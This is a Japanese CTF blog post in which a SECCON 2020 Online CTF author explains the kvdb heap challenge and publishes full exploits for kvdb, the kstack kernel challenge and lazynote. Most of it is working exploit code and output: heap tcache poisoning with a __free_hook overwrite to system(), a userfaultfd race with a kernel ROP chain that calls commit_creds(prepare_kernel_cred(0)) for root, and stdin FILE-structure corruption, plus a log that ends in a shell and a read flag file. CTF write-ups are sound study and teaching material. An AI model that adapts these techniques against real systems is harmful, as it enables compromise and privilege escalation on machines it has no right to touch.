つれづれなる備忘録

CTF関連の事やその他諸々

SECCON 2020 Online CTF 作問 (kvdb) + レビュー (kstack, lazynote)

今回開催した SECCON 2020 Online CTF では kvdb を作問しました。 本記事では kvdb の簡単な説明を行います。 あと他に、レビューで解いた ptr-yudai プロ作問の kstack と lazynote の exploit を載せておきます。


kvdb (Pwn 470pt, 2 solves)

Simple Key-Value

nc kvdb.chal.seccon.jp 17368

files

解説 および 解法

ソースコードは配布ファイルに含まれているので、ここでは要所要所のみ紹介します。

プログラムの動作としては、key とデータの登録、読出し、削除ができます。 典型的なヒープ問のような動きをみせます。

Simple Key-Value Database
MENU
================
1. Put
2. Get
3. Delete
0. Exit
================
> 1
Key : hoge
Size : 10
Data : fuga
Done.

MENU
================
1. Put
2. Get
3. Delete
0. Exit
================
> 2
Key : hoge

---- data ----
fuga

--------------

Done.

実際はヒープ上にメモリプールを確保し、そこから適宜必要な分を切り出して提供されます。

容量が不足すると GC を実行します。 gc() は新たに別の領域にプールを確保し直し、migrate() によってその領域に生きているデータを移行します。 migrate() 時に各エントリの生きているデータは移されるためポインタは更新されますが、削除されたエントリのポインタはそのまま取り残されダングリングポインタとなります。

確保し直すプールのサイズは、現在利用されているサイズと要求サイズを併せた必要サイズが収まるまで倍々にして算出します。 もし必要サイズが現在の 1/4 以下である場合は半分にします。

struct entry {
        char valid;
        uint32_t hash;
        uint32_t size;
        char *key;
        char *data;
        struct entry *next;
};

struct mpool {
        void *base;
        size_t cap;
        size_t inuse;
} mp;

int db_reg(const char *key, const char *data, size_t size){
        struct entry *e;

        if(!(e = ent_lookup(key))){
                if(!(e = (struct entry*)calloc(1, sizeof(struct entry))))
                        panic("allocate entry");
                e->hash = new_hash(key);
                e->key = alloc(&mp, strlen(key)+1);
                strcpy(e->key, key);
                htb_link(e);
        }
        e->valid = 1;

        if(e->size < size || (void*)e->data < mp.base || (void*)e->data > mp.base + mp.inuse){
                e->size = 0;
                e->data = alloc(&mp, size);
        }
        e->size = size;
        memcpy(e->data, data, size);

        return 1;
}

static void *alloc(struct mpool *p, size_t size){
        void *mem;

        if(p->inuse + size > p->cap && gc(p, size) < size)
                return NULL;

        mem = p->base + p->inuse;
        p->inuse += size;

        return mem;
}

static size_t gc(struct mpool *p, size_t ensure){
        struct mpool new;
        size_t inuse, new_size;

        new_size = p->cap ?: 0x80;
        inuse = estimate_inuse();

        if(new_size > 0x80 && inuse + ensure < new_size/4)
                new_size /= 2;
        while(new_size < inuse + ensure)
                new_size *= 2;

        init_mpool(&new, new_size);
        migrate(&new);
        
        free(p->base);
        *p = new;

        return p->cap - p->inuse;
}

既に登録された key のデータを再度登録する際には、ent_lookup() で該当のエントリを探し出し、改めてその内容を更新します。 バグはここの処理に存在しています。 db_reg() 内の if(e->size < size || (void*)e->data < mp.base || (void*)e->data > mp.base + mp.inuse) という条件を満たした場合、現在のエントリの data ポインタは利用されずに再度確保されます。 しかし、この条件は data の先頭がプール内であることは見ていますが、末尾がプール内かどうかは確認していません。 一度 GC で別の領域を取り、再度 GC で元の領域からプールを確保すると、プール管理とは関係なく許されていない領域に対して読み書きができます。 さらに、この領域が縮小されている場合は本来のヒープチャンクを超えて読み書きができます。

各エントリ自体は calloc() で確保されるため、隣接するチャンクを書き換えることでエントリを汚染することができます。 エントリのサイズを書き換え、先の unsortedbin 等々に繋がれているチャンクを読み出すことができれば、そこからヒープや libc のアドレスが得られます。 プール自体は malloc() で確保されるため、tcache の next を書き換えれば任意の個所にプールを取れます。 これを利用して free_hook を system() に書き換えます。

free() は唯一旧プールの解放に使われています。 つまりプールの先頭には "/bin/sh;..." のようなパスが無いといけません。 migrate() の処理に従って、key のハッシュ値の最下位バイトが 00 になるように調整しておきます。

Exploit

#!/usr/bin/env python3
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py
from functools import reduce

bin_file = './kvdb'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

default_host = {'host':'kvdb.chal.seccon.jp', 'port':17368}

env = Environment('debug', 'local', 'remote', 'monitor')
env.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET', monitor = 'SOCKET')
env.set_item('target',  debug   = {'argv':[bin_file], 'aslr':False, 'gdbscript':''}, \
                        local   = {'argv':['./ld.so', '--library-path', '.', bin_file]}, \
                        remote  = default_host, \
                        monitor = {'host':os.environ['SECCON_HOST'], 'port':int(os.environ['SECCON_PORT'])} if 'SECCON_HOST' in os.environ else default_host)
env.set_item('libc',    debug   = None, \
                        local   = 'libc.so.6', \
                        remote  = 'libc.so.6', \
                        monitor = 'libc.so.6')
env.select()

#==========

binf = ELF(bin_file)

libc = ELF(env.libc) if env.libc else binf.libc
offset_libc_malloc_hook = libc.symbols['__malloc_hook']
offset_libc_mainarena   = offset_libc_malloc_hook + 0x10

#==========

new_hash    = lambda s : reduce(lambda h,c: h*33+c, [5381]+list(map(ord, s))) & ((1<<32)-1)
protect_ptr = lambda pos, ptr: ptr if env.libc is None else pos >> 12 ^ ptr 

def attack(conn, **kwargs):
    db = KVDB(conn)

    # extend to 0x200 bytes
    db.put('a'*7, 0x1f0, 'AAAA')

    # extend to 0x800 bytes
    db.put('target1', 0x220, '1111')
    db.delete('target1')

    # GC
    for i in range(4):
        alloc_useless(db, '{:07}'.format(i), 0xf8)

    db.delete('a'*7)

    # shrink to 0x400 bytes
    for i in range(4):
        alloc_useless(db, '{:07}'.format(i), 0x140)

    db.put('target2', 0x88, '2222')

    exploit  = b'1111'.ljust(0x208, b'\x00')
    exploit += p64(0x31)
    exploit += p32(1)
    exploit += p32(new_hash('target2'))
    exploit += p64(0x300)
    db.put('target1', 0x220, exploit)

    leak = db.get('target2')
    addr_heap_base = u64(leak[0x2a8:0x2a8+8]) - 0x710
    info('addr_heap_base    = 0x{:08x}'.format(addr_heap_base))

    addr_libc_mainarena = u64(leak[0x2c8:0x2c8+8]) - 0x60
    libc.address = addr_libc_mainarena - offset_libc_mainarena
    info('addr_libc_base    = 0x{:08x}'.format(libc.address))
    addr_libc_free_hook = libc.symbols['__free_hook']
    addr_libc_system    = libc.sep_function['system']

    db.delete('target1')
    db.delete('target2')
 
    # shrink to 0x200 bytes -> 0x100 bytes
    for x in [0x200, 0x1c0]:
        alloc_useless(db, 'a'*7, x)
        alloc_useless(db, 'a'*7, 0x8)

    # GC x2
    for _ in range(2):
        alloc_useless(db, 'a'*7, 0xc0)
        alloc_useless(db, 'a'*7, 0x8)

    # extend to 0x400 bytes
    alloc_useless(db, 'a'*7, 0x200)

    exploit  = b'2222'.ljust(0x290, b'\x00')
    exploit += p64(0x31)
    exploit += p32(1)
    exploit += p32(new_hash('target2'))
    exploit += p64(0x300)
    exploit += p64(addr_heap_base + 0x5a8)
    exploit += p64(addr_heap_base + 0x718)
    exploit += p64(0)
    exploit += p64(0x111)
    exploit += p64(protect_ptr(addr_heap_base + 0x9e0, addr_libc_free_hook - 0x50))
    db.put('target2', len(exploit), exploit)

    db.delete('target2')

    # shrink to 0x200 bytes -> 0x100 bytes
    for _ in range(2):
        alloc_useless(db, 'a'*7, 0x1c8)
        alloc_useless(db, 'a'*7, 0x8)

    sh_key = '/bin/sh;#'.ljust(0xe, '_')
    alloc_useless(db, sh_key + chr(0x100 - new_hash(sh_key+'\x00')&0xff), 0xb0)
    db.put('exploit', 0x8, p64(addr_libc_system))

    # GC trigger system
    alloc_useless(db, 'a'*7, 0xa8)
    db.put('system!', 0)

def alloc_useless(db, key, size):
    db.put(key, size, 'XXXX')
    db.put(key, 0)
    db.delete(key)

class KVDB:
    def __init__(self, conn):
        self.recvuntil      = conn.recvuntil
        self.recv           = conn.recv
        self.sendline       = conn.sendline
        self.send           = conn.send
        self.sendlineafter  = conn.sendlineafter
        self.sendafter      = conn.sendafter

    def put(self, key, size, data=None):
        self.sendlineafter('> ', '1')
        self.sendlineafter('Key : ', key)
        self.sendlineafter('Size : ', str(size))
        if data is not None:
            self.sendafter('Data : ', data)

    def get(self, key):
        self.sendlineafter('> ', '2')
        self.sendlineafter('Key : ', key)
        self.recvuntil('----\n')
        return self.recvuntil('\n----', drop=True)

    def delete(self, key):
        self.sendlineafter('> ', '3')
        self.sendlineafter('Key : ', key)

def getflag(conn, **kwargs):
    sleep(0.1)
    conn.sendline('exec 2>&1')
    sleep(0.1)
    conn.sendline('echo FLAG_HERE; cat flag.txt')
    conn.recvuntil('FLAG_HERE\n')
    print('FLAG : %s' % conn.recvuntil('\n', drop=True))

#==========

def main():
    comn = Communicate(env.mode, **env.target)
    comn.connect()
    comn.run(attack)

    if env.check('monitor'):
        comn.run(getflag)
    else:
        comn.interactive()

if __name__=='__main__':
    main()

#==========

実行結果

$ ./exploit_kvdb.py
Select Environment
['debug', 'remote', 'monitor', 'local'] ...r
[*] Environment : set environment "remote"
[*] '/home/yutaro/CTF/SECCON/2020/online/db/kvdb'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/yutaro/CTF/SECCON/2020/online/db/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to kvdb.chal.seccon.jp on port 17368: Done
[*] addr_heap_base    = 0x555556bf5000
[*] addr_libc_base    = 0x7f7232944000
[*] Switching to interactive mode
Data : $ ls -al
total 19980
drwxr-x---  2 root kvdb     4096 Oct  9 22:16 .
drwxr-xr-x 16 root root     4096 Oct  9 22:16 ..
-rw-r--r--  1 kvdb kvdb      220 Feb 25  2020 .bash_logout
-rw-r--r--  1 kvdb kvdb     3771 Feb 25  2020 .bashrc
-rw-r--r--  1 kvdb kvdb      807 Feb 25  2020 .profile
-rw-r-----  1 root kvdb       34 Oct  9 22:16 flag.txt
-rwxr-x---  1 root kvdb    18160 Oct  9 22:16 kvdb
-rwxr-x---  1 root kvdb  1639704 Oct  9 22:16 ld.so
-rw-r-----  1 root kvdb 18764528 Oct  9 22:16 libc.so.6
-rwxr-x---  1 root kvdb       59 Oct  9 22:16 run.sh
$ cat flag.txt
SECCON{r3u53_d4ngl1ng_p01n73r5!!}

kstack (Pwn 393pt, 4 solves)

Stack is one of the most fundamental data structure.

nc pwn-inu.chal.seccon.jp 9002

解法

push と pop には race condition を利用した double free の脆弱性があります。 push を行った際に copy_from_user() が失敗した場合、このエントリは kfree() されます。 このとき、head にエントリが繋がれた直後に pop を呼び出し、先に kfree() を実行させることができれば、同一の領域に対して二度 kfree() が実行されることになります。

  switch(cmd) {
  case CMD_PUSH:
    tmp = kmalloc(sizeof(Element), GFP_KERNEL);
    tmp->owner = pid;
    tmp->fd = head;
    head = tmp;
    if (copy_from_user((void*)&tmp->value, (void*)arg, sizeof(unsigned long))) {
      head = tmp->fd;
      kfree(tmp);
      return -EINVAL;
    }
    break;
    
  case CMD_POP:
    for(tmp = head, prev = NULL; tmp != NULL; prev = tmp, tmp = tmp->fd) {
      if (tmp->owner == pid) {
        if (copy_to_user((void*)arg, (void*)&tmp->value, sizeof(unsigned long)))
          return -EINVAL;
        if (prev) {
          prev->fd = tmp->fd;
        } else {
          head = tmp->fd;
        }
        kfree(tmp);
        break;
      }
      if (tmp->fd == NULL) return -EINVAL;
    }
    break;
  }

mmap で確保した領域を userfaultfd で監視し、push 時の copy_from_user() を一旦止めます。 ハンドリングを行うスレッドの中で pop を行い kfree() を実行させます。 その後に当該ページから読み込みの権限を落とせば、復帰後の copy_from_user() は失敗します。 なお、このとき未初期化の領域に対して先に pop が実行されるため、領域内に残されたポインタからカーネルのベースアドレスをリークさせることができます。

0x20 byte の領域が重複するためこれを取り、適当な関数ポインタを書き換えます。 この問題では SMAP は無効であるため、ユーザ領域に pivot して kROP を行えば root が取れます。

Exploit

// gcc exploit.c -masm=intel -fno-PIE -static -no-pie -o exploit
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <poll.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/xattr.h>
#include <linux/userfaultfd.h>

struct state {
    unsigned long rip;
    unsigned long cs;
    unsigned long rflags;
    unsigned long rsp;
    unsigned long ss;
} stat;

void get_root(void* func);
void shell(void);

static void save_state(void);
static void restore_state(void);

/* exploit */
#define BASE           0xffffffff81000000
#define OFFSET(addr)   ((addr) - (BASE))
#define ADDR(offset)   (kernel_base + (offset))

unsigned long kernel_base             = 0;
unsigned long ofs_single_stop         = OFFSET(0xffffffff8113be80);

unsigned long ofs_prepare_kernel_cred = OFFSET(0xffffffff81069e00);
unsigned long ofs_commit_creds        = OFFSET(0xffffffff81069c10);

unsigned long ofs_stack_pivot         = OFFSET(0xffffffff8102cae0);  // mov esp, 0x5D000010 ; ret
unsigned long ofs_pop_rdi             = OFFSET(0xffffffff8111c353);  // pop rdi ; ret
unsigned long ofs_pop_rcx             = OFFSET(0xffffffff810368fa);  // pop rcx ; ret
unsigned long ofs_mov_rdi_rax         = OFFSET(0xffffffff8101877f);  // mov rdi, rax ; rep movsq  ; pop rbp ; ret
unsigned long ofs_ret2usermode        = OFFSET(0xffffffff81600a34);  // swapgs_restore_regs_and_return_to_usermode


struct cred* (*prepare_kernel_cred)(struct task_struct *daemon); 
int (*commit_creds)(struct cred *new);

int stackfd;
unsigned long leak;

#define CMD_PUSH 0x57ac0001
#define CMD_POP  0x57ac0002
#define PUSH(p) ioctl(stackfd, CMD_PUSH, p)
#define POP(p) ioctl(stackfd, CMD_POP, p)

static int init_uffd(void *region, size_t size, void *(*handler)(void*));
static void *uffd_handler(void *arg);

int main(void){
    int seq_fd;
    void *page;

    setbuf(stdout, NULL);

    save_state();
    stat.rip = shell;

    if((stackfd = open("/proc/stack", O_RDWR)) < 0)
        return -1;

    page = mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    init_uffd(page, 0x1000, uffd_handler);

    seq_fd = open("/proc/self/stat", O_RDONLY);
    close(seq_fd);

    PUSH(page);

    unsigned long single_stop = leak;
    kernel_base     = single_stop - ofs_single_stop;
    printf("[+] kernel_base      = %p\n", kernel_base);

    unsigned long buf[0x20/sizeof(unsigned long)] = {};
    buf[3] = ADDR(ofs_stack_pivot);

    seq_fd = open("/proc/self/stat", O_RDONLY);
    setxattr("/tmp", "x", buf, 0x20, XATTR_CREATE);

    unsigned long *fake_stack = mmap(0x5D000000-0x1000, 0x2000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS|MAP_POPULATE, -1, 0);
    fake_stack += 0x1010/sizeof(unsigned long);

    *(fake_stack++) = ADDR(ofs_pop_rdi);
    *(fake_stack++) = 0;
    *(fake_stack++) = ADDR(ofs_prepare_kernel_cred);
    *(fake_stack++) = ADDR(ofs_mov_rdi_rax);
    *(fake_stack++) = 0xdeadbeef;
    *(fake_stack++) = ADDR(ofs_commit_creds);
    *(fake_stack++) = ADDR(ofs_ret2usermode + 0x36);
    *(fake_stack++) = 0xdeadbeef;
    *(fake_stack++) = 0xdeadbeef;
    memcpy(fake_stack, &stat, sizeof(stat));

    read(seq_fd, NULL, 0);
}

static int init_uffd(void *region, size_t size, void *(*handler)(void*)){
    int uffd;
    struct uffdio_api uffdio_api = {
        .api = UFFD_API,
        .features = 0
    };
    struct uffdio_register uffdio_register = {
        .mode = UFFDIO_REGISTER_MODE_MISSING,
        .range = {
            .start = (uint64_t)region,
            .len = size
        }
    };
    pthread_t th;

    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    ioctl(uffd, UFFDIO_API, &uffdio_api);
    ioctl(uffd, UFFDIO_REGISTER, &uffdio_register);

    pthread_create(&th, NULL, handler, (void*)uffd);
}

static void *uffd_handler(void *arg){
    int uffd = (int)arg;

    for (;;) {
        struct pollfd pollfd = {
            .fd = uffd,
            .events = POLLIN
        };
        struct uffd_msg msg;

        poll(&pollfd, 1, -1);

        read(uffd, &msg, sizeof(msg));
        if (msg.event & UFFD_EVENT_PAGEFAULT) {
            struct uffdio_range range = {
                .start = (uint64_t)msg.arg.pagefault.address,
                .len = 0x1000
            };
            POP(&leak);
            mprotect((void*)range.start, range.len, PROT_NONE);
            ioctl(uffd, UFFDIO_UNREGISTER, &range);
        }
    }
    return NULL;
}

/* auxiliary functions */
static void save_state(void) {
    register long *rsp asm("rsp");

    asm(
    "mov rax, ss\n"
    "push rax\n"
    "lea rax, [rsp+0x18]\n"
    "push rax\n"
    "pushfq\n"
    "mov rax, cs\n"
    "push rax\n"
    "mov rax, [rbp+8]\n"
    "push rax\n"
    );
    memcpy(&stat, rsp, sizeof(stat));
    asm("add rsp, 0x28");
}

void shell(void){
    char *argv[] = {"/bin/sh", NULL};
    execve(argv[0], argv, NULL);
}

lazynote (Pwn 227pt, 16 solves)

I'm too lazy to finish writing my program.

nc pwn-neko.chal.seccon.jp 9003

解法

後で書く

Exploit

#!/usr/bin/env python3
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py

bin_file = './chall'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

env = Environment('debug', 'local', 'remote')
env.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target',  debug   = {'argv':[bin_file], 'aslr':False, 'gdbscript':''}, \
                        local   = {'argv':[bin_file]}, \
                        remote  = {'host':'target', 'port':4296})
env.set_item('libc',    debug   = None, \
                        local   = None, \
                        remote  = 'libc-2.27.so')
env.select()

#==========

binf = ELF(bin_file)

libc = ELF(env.libc) if env.libc else binf.libc
offset_libc_stdout          = libc.symbols['_IO_2_1_stdout_']
offset_libc_stdin           = libc.symbols['_IO_2_1_stdin_']
offset_libc_io_file_jumps   = libc.symbols['_IO_file_jumps']
offset_libc_malloc_hook     = libc.symbols['__malloc_hook']

#==========

def attack(conn, **kwargs):
    ln = LazyNote(conn)

    ln.writenull(offset_libc_stdout + 0x10) # _IO_read_end
    ln.silent = True
    ln.writenull(offset_libc_stdout + 0x20) # _IO_write_base
    ln.silent = False

    conn.recv(0x58)
    addr_libc_io_file_jumps = u64(conn.recv(8))
    libc.address = addr_libc_io_file_jumps - offset_libc_io_file_jumps
    info('addr_libc_base    = 0x{:08x}'.format(libc.address))
    addr_libc_stdin         = libc.symbols['_IO_2_1_stdin_']
    addr_libc_io_file_jumps = libc.symbols['_IO_file_jumps']
    addr_libc_io_str_jumps  = addr_libc_io_file_jumps + 0xc0
    addr_libc_system    = libc.sep_function['system']
    addr_libc_str_sh    = next(libc.search(b'/bin/sh'))

    ln.writenull(offset_libc_stdin + 0x38)  # _IO_buf_base

    stdin_2  = p64(0xfbad2080)
    stdin_2 += p64(addr_libc_stdin)
    stdin_2 += p64(0)*3
    stdin_2 += p64((addr_libc_str_sh - 0x64) // 2)  # _IO_write_ptr
    stdin_2 += p64(0)*2
    stdin_2 += p64((addr_libc_str_sh - 0x64) // 2)  # _IO_buf_end
    stdin_2 += p64(0)*18
    stdin_2 += p64(addr_libc_io_str_jumps - 0x10)
    stdin_2 += p64(addr_libc_system)

    stdin_1  = p64(0xfbad208b)
    stdin_1 += p64(addr_libc_stdin)
    stdin_1 += p64(0)*5
    stdin_1 += p64(addr_libc_stdin)                 # _IO_buf_base
    stdin_1 += p64(addr_libc_stdin + len(stdin_2))  # _IO_buf_end

    conn.sendlineafter("> ", stdin_1.ljust(0x84, b'\x00') + stdin_2)

class LazyNote:
    def __init__(self, conn):
        self.recvuntil      = conn.recvuntil
        self.recv           = conn.recv
        self.sendline       = conn.sendline
        self.send           = conn.send
        self.sendlineafter  = conn.sendlineafter
        self.sendafter      = conn.sendafter

        self.offset         = 0
        self.silent         = False

    def alloc(self, size, length, data):
        if self.silent:
            self.send('1\n{}\n{}\n{}\n'.format(size, length, data))
        else:
            self.sendlineafter('> ', '1')
            self.sendlineafter('alloc size: ', str(size))
            self.sendlineafter('read size: ', str(length))
            self.sendlineafter('data: ', data)

    def writenull(self, ofs, data = ''):
        self.offset += 0x1e4000
        self.alloc(0x1e3fe8, self.offset + ofs - 0xf, data)

#==========

def main():
    comn = Communicate(env.mode, **env.target)
    comn.connect()
    comn.run(attack)
    comn.interactive()

if __name__=='__main__':
    main()

#==========